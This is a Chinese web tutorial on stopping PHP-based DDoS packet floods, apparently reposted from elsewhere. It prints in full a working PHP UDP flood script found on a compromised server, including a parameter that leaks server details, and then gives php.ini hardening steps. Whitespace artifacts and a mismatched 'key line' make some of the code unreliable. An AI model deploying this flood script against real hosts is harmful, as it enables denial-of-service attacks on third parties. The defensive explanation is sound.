加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

php的ddos攻击解决方法

发布时间:2020-12-13 02:20:18 所属栏目:PHP教程 来源:网络整理
导读:《:php的ddos攻击解决方法》要点: 本文介绍了:php的ddos攻击解决方法,希望对您有用。如果有疑问,可以联系我们。 本篇章节讲解php的ddos攻击解决办法.供大家参考研究.具体分析如下: PHP应用 今天自己的一台机器突然向外部发送大量数据包,可每秒

《:php的ddos攻击解决方法》要点:
本文介绍了:php的ddos攻击解决方法,希望对您有用。如果有疑问,可以联系我们。

本篇章节讲解php的ddos攻击解决办法.分享给大家供大家参考.具体分析如下:PHP应用

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想方法解决了.

先看源码,代码如下:

代码如下:
<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
?
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
??????? if (StrLen($_GET['rat'])<>0){
??????????????? echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
??????????????? exit;
??????????? }
??????? echo "Parameters can not be empty!";
??????? exit;
??? }
?
for($i=0;$i<$Sendlen;$i++){
??????? $out .= "A";
??? }
?
$max_time = time()+$exec_time;
?
while(1){
??? $packets++;
??? if(time() > $max_time){
??????? break;
??? }
??? $fp = fsockopen("udp://$host",$port,$errno,$errstr,5);
??????? if($fp){
??????????? fwrite($fp,$out);
??????????? fclose($fp);
??? }
}
?
echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024,2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024,2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time,2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024,2) . " mb/s";
?>

关键代码在于如下:
代码如下:
$fp = fsockopen("udp://$ip",$rand,5);

办法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen哀求外部,那就不让他哀求.

php.ini里设置,代码如下:

代码如下:
allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的平安模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启平安模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站平安引起的,我们要注意网站的平安及服务器的平安,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所赞助.

编程之家培训学院每天发布《:php的ddos攻击解决方法》等实战技能,PHP、MYSQL、LINUX、APP、JS,CSS全面培养人才。

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读